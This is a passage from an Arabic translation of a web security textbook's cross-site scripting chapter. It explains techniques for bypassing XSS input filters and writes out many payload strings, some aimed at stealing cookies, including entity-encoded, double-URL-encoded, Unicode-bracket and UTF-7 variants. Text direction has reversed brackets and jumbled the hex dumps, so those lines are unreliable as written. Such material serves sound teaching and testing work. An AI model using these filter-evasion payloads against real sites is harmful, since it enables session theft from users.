‫ﻣﻔﺮﺩﺓ‪،‬ﺃﻭ ﻓﻲ ﻣﺘﺼﻔﺢ ‪ IE‬ﺑﻌﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻋﻜﺴﻴﺔ‪.‬‬

‫<‪>img onerror=`alert)1(`src=a‬‬
‫<‪>img onerror='alert)1('src=a‬‬
‫<‪>img onerror=”alert)1(”src=a‬‬

‫ﻳﻮﻓﺮﺍﻟﺘﺒﺪﻳﻞ ﺑﻴﻦ ﺍﻟﺴﻤﺎﺕ ﻓﻲ ﺍﻟﻤﺜﺎﻝ ﺍﻟﺴﺎﺑﻖ ﻃﺮﻳﻘﺔ ﺃﺧﺮﻯ ﻟﺘﺠﺎﻭﺯ ﺑﻌﺾ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺘﻲ‬
‫ﺗﺘﺤﻘﻖﻣﻦ ﺃﺳﻤﺎء ﺍﻟﺴﻤﺎﺕ ﺍﻟﺘﻲ ﺗﺒﺪﺃ ﺑـﻋﻠﻰ‪.‬ﺇﺫﺍ ﻟﻢ ﻳﻜﻦ ﺍﻟﻤﺮﺷﺢ ﻋﻠﻰ ﺩﺭﺍﻳﺔ ﺑﺄﻥ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ‬
‫ﺍﻟﻌﻜﺴﻴﺔﺗﻌﻤﻞ ﻛﻔﺎﺻﻼﺕ ﻟﻠﺴﻤﺎﺕ‪ ،‬ﻓﺈﻧﻪ ﻳﻌﺎﻣﻞ ﺍﻟﻤﺜﺎﻝ ﺍﻟﺘﺎﻟﻲ ﻋﻠﻰ ﺃﻧﻪ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺳﻤﺔ ﻭﺍﺣﺪﺓ‪،‬‬
‫ﻭﺍﻟﺘﻲﻻ ﻳﻜﻮﻥ ﺍﺳﻤﻬﺎ ﺍﺳﻢ ﻣﻌﺎﻟﺞ ﺍﻟﺤﺪﺙ‪:‬‬

‫<(‪>img src=`a`onerror=alert)1‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪462‬‬

‫ﻣﻦﺧﻼﻝ ﺍﻟﺠﻤﻊ ﺑﻴﻦ ﺍﻟﺴﻤﺎﺕ ﺍﻟﻤﺤﺪﺩﺓ ﺑﻌﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻣﻊ ﺍﻷﺣﺮﻑ ﻏﻴﺮ ﺍﻟﻤﺘﻮﻗﻌﺔ ﺍﻟﺘﻲ ﺗﺘﺒﻊ‬
‫ﺍﺳﻢﺍﻟﻌﻼﻣﺔ‪ ،‬ﻳﻤﻜﻦ ﺍﺑﺘﻜﺎﺭ ﻫﺠﻤﺎﺕ ﻻ ﺗﺴﺘﺨﺪﻡ ﺃﻱ ﻣﺴﺎﻓﺎﺕ ﺑﻴﻀﺎء‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﺗﺠﺎﻭﺯ ﺑﻌﺾ‬
‫ﺍﻟﻤﺮﺷﺤﺎﺕﺍﻟﺒﺴﻴﻄﺔ‪:‬‬

‫<‪>img/onerror=”alert)1(”src=a‬‬

‫ﺟﺮﺑﻬﺎ!‬

‫‪/72/ http://mdsec.net/search/75/‬‬
‫‪/search/69/ http://mdsec.net/search‬‬
‫‪http://mdsec.net‬‬

‫ﻗﻴﻢﺍﻟﺴﻤﺎﺕ‬
‫ﺩﺍﺧﻞﻗﻴﻢ ﺍﻟﺴﻤﺎﺕ ﻧﻔﺴﻬﺎ‪ ،‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺧﺪﻋﺔ ﺍﻟﺒﺎﻳﺖ ‪ ،NULL‬ﻭﻳﻤﻜﻨﻚ ﺃﻳﻀﺎً ﺗﺮﻣﻴﺰ ﺍﻷﺣﺮﻑ‬
‫ﺑﺎﺳﺘﺨﺪﺍﻡ‪ HTML‬ﺩﺍﺧﻞ ﺍﻟﻘﻴﻤﺔ‪:‬‬

‫<‪>img onerror=alert)1( src=a‬‬


‫<‪>img onerror=a]%00[lert)1( src=a‬‬

‫ﻷﻥﺍﻟﻤﺘﺼﻔﺢ ﻳﻔﻚ ﺗﺸﻔﻴﺮ ‪ HTML‬ﻟﻘﻴﻤﺔ ﺍﻟﺴﻤﺔ ﻗﺒﻞ ﻣﻌﺎﻟﺠﺘﻬﺎ‪ ،‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺗﺮﻣﻴﺰ ‪HTML‬‬
‫ﻹﺧﻔﺎءﺍﺳﺘﺨﺪﺍﻣﻚ ﻟﺸﻔﺮﺓ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﺗﺠﻨﺐ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ‬
‫ﺍﻟﻤﺜﺎﻝ‪،‬ﻳﺘﺠﺎﻭﺯ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺘﺎﻟﻲ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺘﻲ ﺗﺴﻌﻰ ﺇﻟﻰ ﻣﻨﻊ ﺍﺳﺘﺨﺪﺍﻡ ﻣﻌﺎﻟﺞ ﺷﺒﻪ‬
‫ﺑﺮﻭﺗﻮﻛﻮﻝ‪:JavaScript‬‬

‫< (‪>iframe src=javascript:alert)1‬‬

‫ﻋﻨﺪﺍﺳﺘﺨﺪﺍﻡ ﺗﺮﻣﻴﺰ ‪ ،HTML‬ﺗﺠﺪﺭ ﺍﻹﺷﺎﺭﺓ ﺇﻟﻰ ﺃﻥ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺗﺘﺴﺎﻣﺢ ﻣﻊ ﺍﻧﺤﺮﺍﻓﺎﺕ ﻣﺨﺘﻠﻔﺔ‬


‫ﻋﻦﺍﻟﻤﻮﺍﺻﻔﺎﺕ‪ ،‬ﺑﻄﺮﻕ ﻗﺪ ﺗﻐﻔﻠﻬﺎ ﺣﺘﻰ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺘﻲ ﺗﺪﺭﻙ ﻣﺸﺎﻛﻞ ﺗﺮﻣﻴﺰ ‪ .HTML‬ﻳﻤﻜﻨﻚ‬
‫ﺍﺳﺘﺨﺪﺍﻡﺍﻟﻨﻈﺎﻣﻴﻦ ﺍﻟﻌﺸﺮﻱ ﻭﺍﻟﺴﺪﺍﺳﻲ ﻋﺸﺮﻱ‪ ،‬ﻭﺇﺿﺎﻓﺔ ﺃﺻﻔﺎﺭ ﺑﺎﺩﺉﺔ ﺯﺍﺉﺪﺓ‪ ،‬ﻭﺣﺬﻑ ﺍﻟﻔﺎﺻﻠﺔ‬
‫ﺍﻟﻤﻨﻘﻮﻃﺔ‪.‬ﺟﻤﻴﻊ ﺍﻷﻣﺜﻠﺔ ﺍﻟﺘﺎﻟﻴﺔ ﺗﻌﻤﻞ ﻋﻠﻰ ﻣﺘﺼﻔﺢ ﻭﺍﺣﺪ ﻋﻠﻰ ﺍﻷﻗﻞ‪:‬‬

‫<‪>img onerror=alert)1( src=a‬‬


‫<‪>img onerror=alert)1( src=a‬‬
‫<‪>img onerror=alert)1( src=a‬‬
‫<‪>img onerror=alert)1( src=a‬‬
‫<‪>img onerror=alert)1( src=a‬‬
‫<‪>img onerror=alert)1( src=a‬‬
‫<‪>img onerror=alert)1( src=a‬‬

‫ﺃﻗﻮﺍﺱﺍﻟﻌﻼﻣﺎﺕ‬
‫ﻓﻲﺑﻌﺾ ﺍﻟﻤﻮﺍﻗﻒ‪ ،‬ﻣﻦ ﺧﻼﻝ ﺍﺳﺘﻐﻼﻝ ﺳﻠﻮﻙ ﻏﺮﻳﺐ ﻟﻠﺘﻄﺒﻴﻖ ﺃﻭ ﺍﻟﻤﺘﺼﻔﺢ‪ ،‬ﻣﻦ ﺍﻟﻤﻤﻜﻦ‬
‫ﺍﺳﺘﺨﺪﺍﻡﺃﻗﻮﺍﺱ ﻋﻼﻣﺎﺕ ﻏﻴﺮ ﺻﺎﻟﺤﺔ ﻭﺍﻟﺘﺴﺒﺐ ﻓﻲ ﻗﻴﺎﻡ ﺍﻟﻤﺘﺼﻔﺢ ﺑﻤﻌﺎﻟﺠﺔ ﺍﻟﻌﻼﻣﺔ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﺘﻲ‬
‫ﻳﺘﻄﻠﺒﻬﺎﺍﻟﻬﺠﻮﻡ‪.‬‬
‫‪463‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺗﻘﻮﻡﺑﻌﺾ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺑﻔﻚ ﺗﺸﻔﻴﺮ ﻋﻨﻮﺍﻥ ‪ URL‬ﻏﻴﺮ ﺍﻟﻀﺮﻭﺭﻱ ﻟﻺﺩﺧﺎﻝ ﺑﻌﺪ ﺗﻄﺒﻴﻖ ﻣﺮﺷﺤﺎﺕ‬
‫ﺍﻹﺩﺧﺎﻝﺍﻟﺨﺎﺻﺔ ﺑﻬﺎ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﻳﻈﻬﺮ ﺍﻹﺩﺧﺎﻝ ﺍﻟﺘﺎﻟﻲ ﻓﻲ ﺍﻟﻄﻠﺐ‪:‬‬

‫‪src=a%253e‬ﺗﻨﺒﻴﻪ)‪%253cimg%20onerror=20%(1‬‬

‫ﻳﺘﻢﻓﻚ ﺗﺸﻔﻴﺮ ﻋﻨﻮﺍﻥ ‪ URL‬ﺑﻮﺍﺳﻄﺔ ﺧﺎﺩﻡ ﺍﻟﺘﻄﺒﻴﻖ ﻭﺗﻤﺮﻳﺮﻩ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﺍﻟﻨﺤﻮ ﺍﻟﺘﺎﻟﻲ‪:‬‬

‫‪%3cimg onerror=alert)1( src=a%3e‬‬

‫ﺍﻟﺬﻱﻻ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺃﻱ ﺃﻗﻮﺍﺱ ﻭﺳﻢ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﻻ ﻳﺤُﻈﺮ ﺑﻮﺍﺳﻄﺔ ﻣﺮُﺷﺢِّ ﺍﻹﺩﺧﺎﻝ‪ .‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻳﺠُﺮﻱ‬
‫ﺍﻟﺘﻄﺒﻴﻖﺑﻌﺪ ﺫﻟﻚ ﻓﻚ ﺗﺸﻔﻴﺮ ﻋﻨﻮﺍﻥ ‪ URL‬ﺛﺎﻧﻴﺎً‪ ،‬ﻓﻴﺼﺒﺢ ﺍﻹﺩﺧﺎﻝ‪:‬‬

‫<‪>img onerror=alert)1( src=a‬‬

‫ﺍﻟﺬﻱﻳﺘﻢ ﺇﺭﺳﺎﻟﻪ ﻟﻠﻤﺴﺘﺨﺪﻡ‪ ،‬ﻣﻤﺎ ﻳﺆﺩﻱ ﺇﻟﻰ ﺗﻨﻔﻴﺬ ﺍﻟﻬﺠﻮﻡ‪.‬‬


‫ﻛﻤﺎﻫﻮ ﻣﻮﺿﺢ ﻓﻲ ﺍﻟﻔﺼﻞ ﺍﻟﺜﺎﻧﻲ‪ ،‬ﻗﺪ ﻳﺤﺪﺙ ﺃﻣﺮ ﻣﺸﺎﺑﻪ ﻋﻨﺪﻣﺎ ﻳﺘُﺮﺟﻢ ﺇﻃﺎﺭ ﻋﻤﻞ ﺗﻄﺒﻴﻘﻲ ﺃﺣﺮﻑ‬
‫‪ Unicode‬ﻏﻴﺮ ﺍﻟﻤﺄﻟﻮﻓﺔ ﺇﻟﻰ ﺃﻗﺮﺏ ﻣﻜﺎﻓﺉﺎﺗﻬﺎ ﻓﻲ ‪ ASCII‬ﺑﻨﺎء ًﻋﻠﻰ ﺗﺸﺎﺑﻪ ﺣﺮﻭﻓﻬﺎ ﺃﻭ ﺻﻮﺗﻴﺎﺗﻬﺎ‪.‬‬
‫ﻋﻠﻰﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻳﺴﺘﺨﺪﻡ ﺍﻟﻤﺪُﺧﻞ ﺍﻟﺘﺎﻟﻲ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ‪ Unicode‬ﻣﺰﺩﻭﺟﺔ ﺍﻟﺰﺍﻭﻳﺔ )‪u00AB%‬‬
‫ﻭ‬
‫(‪%u00BB‬ﺑﺪﻻ ًﻣﻦ ﺃﻗﻮﺍﺱ ﺍﻟﻌﻼﻣﺔ‪:‬‬

‫«‪»img onerror=alert)1( src=a‬‬

‫ﻗﺪﺗﺴﻤﺢ ﻣﺮﺷﺤﺎﺕ ﺇﺩﺧﺎﻝ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻬﺬﺍ ﺍﻹﺩﺧﺎﻝ ﻟﻌﺪﻡ ﺍﺣﺘﻮﺍﺉﻪ ﻋﻠﻰ ﺃﻱ ﻧﺼﻮﺹ ‪HTML‬‬
‫ﺇﺷﻜﺎﻟﻴﺔ‪.‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﺇﺫﺍ ﺣﻮﻝّ ﺇﻃﺎﺭ ﻋﻤﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﺇﻟﻰ ﺃﺣﺮﻑ ﻭﺳﻢ ﻋﻨﺪ ﺇﺩﺭﺍﺝ‬
‫ﺍﻹﺩﺧﺎﻝﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ‪ ،‬ﻳﻨﺠﺢ ﺍﻟﻬﺠﻮﻡ‪ .‬ﻭﻗﺪ ﻭﺟُﺪﺕ ﺗﻄﺒﻴﻘﺎﺕ ﻋﺪﻳﺪﺓ ﻋﺮﺿﺔ ﻟﻬﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ‬
‫ﺍﻟﻬﺠﻤﺎﺕ‪،‬ﻭﻫﻮ ﻣﺎ ﻗﺪ ﻳﻐُﻔﺮ ﻟﻠﻤﻄﻮﺭﻳﻦ ﺗﺠﺎﻫﻠﻪ‪.‬‬

‫ﺑﻌﺾﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ ﺗﺘﻌﺮﻑ ﻋﻠﻰ ﻋﻼﻣﺎﺕ ‪ HTML‬ﺑﺒﺴﺎﻃﺔ ﻋﻦ ﻃﺮﻳﻖ ﻣﻄﺎﺑﻘﺔ ﺃﻗﻮﺍﺱ‬


‫ﺍﻟﻔﺘﺢﻭﺍﻹﻏﻼﻕ‪ ،‬ﻭﺍﺳﺘﺨﺮﺍﺝ ﺍﻟﻤﺤﺘﻮﻯ‪ ،‬ﻭﻣﻘﺎﺭﻧﺘﻪ ﺑﻘﺎﺉﻤﺔ ﺳﻮﺩﺍء ﻷﺳﻤﺎء ﺍﻟﻌﻼﻣﺎﺕ‪ .‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪،‬‬
‫ﻗﺪﺗﺘﻤﻜﻦ ﻣﻦ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮﺷﺢ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺃﻗﻮﺍﺱ ﺯﺍﺉﺪﺓ‪ ،‬ﻭﻫﻮ ﻣﺎ ﻳﺘﻘﺒﻠﻪ ﺍﻟﻤﺘﺼﻔﺢ‪:‬‬

‫<‪;//>>/script‬ﺗﻨﺒﻴﻪ)‪>>script<(1‬‬

‫ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻳﻤُﻜﻦ ﺍﺳﺘﻐﻼﻝ ﺳﻠﻮﻙ ﻏﻴﺮ ﻣﺘﻮﻗﻊ ﻓﻲ ﻣﺤُﻠﻼِّﺕ ‪ HTML‬ﻓﻲ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ‬
‫ﻟﺸﻦ ّﻫﺠﻮﻡ ﻳﺘﺠﺎﻭﺯ ﻣﺮُﺷﺤِّﺎﺕ ﺇﺩﺧﺎﻝ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻻ ﻳﺤﺘﻮﻱ ﻣﻠﻒ ‪ HTML‬ﺍﻟﺘﺎﻟﻲ‪،‬‬
‫ﺍﻟﺬﻱﻳﺴﺘﺨﺪﻡ ﺻﻴﻐﺔ (‪ ،ECMAScript for XML )E4X‬ﻋﻠﻰ ﻭﺳﻢ ﻧﺺ ﺑﺮﻣﺠﻲ ﺍﻓﺘﺘﺎﺣﻲ ﺻﺎﻟﺢ‪،‬‬
‫ﻭﻟﻜﻨﻪﻣﻊ ﺫﻟﻚ ﻳﻨُﻔﺬِّ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ ﺍﻟﻤﺮُﻓﻖ ﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺤﺎﻟﻴﺔ ﻣﻦ ‪:Firefox‬‬

‫<‪>script>}alert)1({/<>/script‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪464‬‬

‫ﻧﺼﻴﺤﺔﻓﻲ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺗﺠﺎﻭﺯﺍﺕ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻤﻮﺻﻮﻓﺔ‪ ،‬ﻳﻨﺘﺞ ﻋﻦ ﺍﻟﻬﺠﻮﻡ ‪ HTML‬ﻣﺸﻮﻩ‪ ،‬ﻭﻣﻊ‬


‫ﺫﻟﻚﻳﺘﺴﺎﻣﺢ ﻣﻌﻪ ﻣﺘﺼﻔﺢ ﺍﻟﻌﻤﻴﻞ‪ .‬ﻭﻷﻥ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻹﻟﻜﺘﺮﻭﻧﻴﺔ ﺍﻟﻤﻮﺛﻮﻗﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ‬
‫‪ HTML‬ﻻ ﻳﺘﻮﺍﻓﻖ ﺗﻤﺎﻣﺎً ﻣﻊ ﺍﻟﻤﻌﺎﻳﻴﺮ‪ ،‬ﻓﺈﻥ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺗﻘﺒﻞ ‪ HTML‬ﺍﻟﻤﻨﺤﺮﻑ ﺑﻄﺮﻕ ﻣﺨﺘﻠﻔﺔ‪.‬‬
‫ﻓﻬﻲﺗﺼُﻠﺢ ﺍﻷﺧﻄﺎء ﺑﻔﻌﺎﻟﻴﺔ ﻓﻲ ﺍﻟﺨﻠﻔﻴﺔ ﻗﺒﻞ ﻋﺮﺽ ﺍﻟﺼﻔﺤﺔ‪ .‬ﻓﻲ ﻛﺜﻴﺮ ﻣﻦ ﺍﻷﺣﻴﺎﻥ‪ ،‬ﻋﻨﺪ ﻣﺤﺎﻭﻟﺔ‬
‫ﺿﺒﻂﻫﺠﻮﻡ ﻓﻲ ﻣﻮﻗﻒ ﻏﻴﺮ ﺍﻋﺘﻴﺎﺩﻱ‪ ،‬ﻗﺪ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻤﻔﻴﺪ ﻋﺮﺽ ‪ HTML‬ﺍﻻﻓﺘﺮﺍﺿﻲ ﺍﻟﺬﻱ ﻳﻨُﺸﺉﻪ‬
‫ﺍﻟﻤﺘﺼﻔﺢﻣﻦ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺨﺎﺩﻡ ﺍﻟﻔﻌﻠﻴﺔ‪ .‬ﻓﻲ ﻓﺎﻳﺮﻓﻮﻛﺲ‪ ،‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺃﺩﺍﺓ ‪،WebDeveloper‬‬
‫ﺍﻟﺘﻲﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺩﺍﻟﺔ "ﻋﺮﺽ ﺍﻟﻤﺼﺪﺭ ﺍﻟﻤﻮُﻟﺪّ" ﺍﻟﺘﻲ ﺗﺆُﺩﻱ ﻫﺬﻩ ﺍﻟﻤﻬﻤﺔ ﺗﺤﺪﻳﺪﺍً‪.‬‬

‫ﻣﺠﻤﻮﻋﺎﺕﺍﻷﺣﺮﻑ‬
‫ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻭﺳﻴﻠﺔ ﻓﻌﺎّﻟﺔ ﻟﺘﺠﺎﻭﺯ ﺃﻧﻮﺍﻉ ﻋﺪﻳﺪﺓ ﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ ﻋﻦ ﻃﺮﻳﻖ‬
‫ﺟﻌﻞﺍﻟﺘﻄﺒﻴﻖ ﻳﻘﺒﻞ ﺗﺮﻣﻴﺰﺍً ﻏﻴﺮ ﻗﻴﺎﺳﻲ ﻟﺤﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ‪ .‬ﺗﻮﺿﺢ ﺍﻷﻣﺜﻠﺔ ﺍﻟﺘﺎﻟﻴﺔ ﺑﻌﺾ ﺗﻤﺜﻴﻼﺕ‬
‫ﺍﻟﺴﻠﺴﻠﺔ‬
‫<‪ document.cookie(>/script‬ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ)ﺗﻨﺒﻴﻪ<‪>script‬ﻓﻲ ﻣﺠﻤﻮﻋﺎﺕ ﺍﻷﺣﺮﻑ ﺍﻟﺒﺪﻳﻠﺔ‪:‬‬

‫‪UTF-7‬‬

‫‪+ ADw-script+AD4-alert)document.cookie(+ADw-/script+AD4-‬‬

‫‪US-ASCII‬‬

‫‪ cument.cookie(¼/ 73 63 72 69 70 74 BE‬؛‪63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65 29 BC 2F‬‬


‫‪ ¼script¾alert)do‬؛‪BC 73 63 72 69 70 74 BE 61 6C 65 72 74 28 64 6F‬‬
‫؛ﺍﻟﻨﺺ¾‬

‫‪UTF-16‬‬

‫‪<.‬؛ ‪ ./‬ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ‪ cookie(.>. 2F 00 73 00 63 00 72 00 69 00 70 00 74 00 3E 00‬؛‪29 00 3C 00‬‬


‫‪ document.. 63 00 6F 00 6F 00 6B 00 69 00 6500‬؛‪63 00 75 00 6D 00 65 00 6E 00 74 00 2E 00‬‬
‫‪ <.alert).d. 6F00‬؛‪ ÿþ>.script 3E 00 61 00 6C 00 65 00 72 00 74 00 28 00 64 00‬؛‪00 70 00 74 00‬‬
‫‪FF FE 3C 00 73 00 63 00 72 0069‬‬

‫ﺳﺘﺘﺠﺎﻭﺯﻫﺬﻩ ﺍﻟﺴﻼﺳﻞ ﺍﻟﻤﺸﻔﺮﺓ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻣﺮﺷﺤﺎﺕ ‪ XSS‬ﺍﻟﺸﺎﺉﻌﺔ‪ .‬ﻳﻜﻤﻦ ﺍﻟﺘﺤﺪﻱ ﻓﻲ ﺷﻦ‬


‫ﻫﺠﻮﻡﻧﺎﺟﺢ ﻓﻲ ﺟﻌﻞ ﺍﻟﻤﺘﺼﻔﺢ ﻳﻔﺴﺮ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﺠﻤﻮﻋﺔ ﺍﻷﺣﺮﻑ ﺍﻟﻤﻄﻠﻮﺑﺔ‪ .‬ﺇﺫﺍ ﻛﻨﺖ‬
‫ﺗﺘﺤﻜﻢﻓﻲ ‪HTTP‬ﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯ‬
‫ﺭﺃﺱﺍﻟﺼﻔﺤﺔ ﺃﻭ ﻭﺳﻢ ‪ HTML‬ﺍﻟﻤﻘﺎﺑﻞ ﻟﻪ‪ ،‬ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺍﺳﺘﺨﺪﺍﻡ ﻣﺠﻤﻮﻋﺔ ﺃﺣﺮﻑ ﻏﻴﺮ ﻗﻴﺎﺳﻴﺔ‬
‫ﻟﺘﺠﺎﻭﺯﻣﺮﺷﺤﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻭﺗﻤﻜﻴﻦ ﺍﻟﻤﺘﺼﻔﺢ ﻣﻦ ﺗﻔﺴﻴﺮ ﺣﻤﻮﻟﺘﻚ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﺘﻲ ﺗﺮﻳﺪﻫﺎ‪ .‬ﻓﻲ‬
‫ﺑﻌﺾﺍﻟﺘﻄﺒﻴﻘﺎﺕ‪،‬ﻣﺠﻤﻮﻋﺔ ﺍﻷﺣﺮﻑ‬
‫ﻳﺘﻢﺇﺭﺳﺎﻝ ﺍﻟﻤﻌﻠﻤﺔ ﻓﻌﻠﻴﺎً ﻓﻲ ﻃﻠﺒﺎﺕ ﻣﻌﻴﻨﺔ‪ ،‬ﻣﻤﺎ ﻳﺘﻴﺢ ﻟﻚ ﺗﻌﻴﻴﻦ ﻣﺠﻤﻮﻋﺔ ﺍﻷﺣﺮﻑ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ‬
‫ﻓﻲﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺸﻜﻞ ﻣﺒﺎﺷﺮ‪.‬‬
‫ﺇﺫﺍﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺴﺘﺨﺪﻡ ﺍﻓﺘﺮﺍﺿﻴﺎً ﻣﺠﻤﻮﻋﺔ ﺃﺣﺮﻑ ﻣﺘﻌﺪﺩﺓ ﺍﻟﺒﺎﻳﺘﺎﺕ‪ ،‬ﻣﺜﻞ ‪ ،Shift-JIS‬ﻓﻘﺪ‬
‫ﻳﻤُﻜﻨّﻚﻫﺬﺍ ﻣﻦ ﺗﺠﺎﻭﺯ ﺑﻌﺾ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ ﻋﻦ ﻃﺮﻳﻖ ﺇﺭﺳﺎﻝ ﺃﺣﺮﻑ ﺫﺍﺕ ﺃﻫﻤﻴﺔ ﺧﺎﺻﺔ ﻓﻲ‬
‫ﻣﺠﻤﻮﻋﺔﺍﻷﺣﺮﻑ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻟﻨﻔﺘﺮﺽ ﺃﻥ ﺟﺰﺃﻳﻦ ﻣﻦ ﺇﺩﺧﺎﻝ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺗﻢ‬
‫ﺇﺭﺟﺎﻋﻬﻤﺎﻓﻲ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﻄﺒﻴﻖ‪:‬‬
‫[‪>img src=”image.gif” alt=”]input1[” /< ... ]input2‬‬
‫‪465‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻝﺍﻹﺩﺧﺎﻝ ‪،1‬ﻳﺤﻈﺮ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻹﺩﺧﺎﻻﺕ ﺍﻟﺘﻲ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻟﻤﻨﻊ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻦ‬
‫ﺇﻧﻬﺎءﺍﻟﺴﻤﺔ ﺍﻟﻤﻘﺘﺒﺴﺔ‪.‬ﺍﻹﺩﺧﺎﻝ‪،2‬ﻳﺤﻈﺮ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﺪﺧﻼﺕ ﺍﻟﺘﻲ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺃﻗﻮﺍﺱ ﺯﺍﻭﻳﺔ ﻟﻤﻨﻊ‬
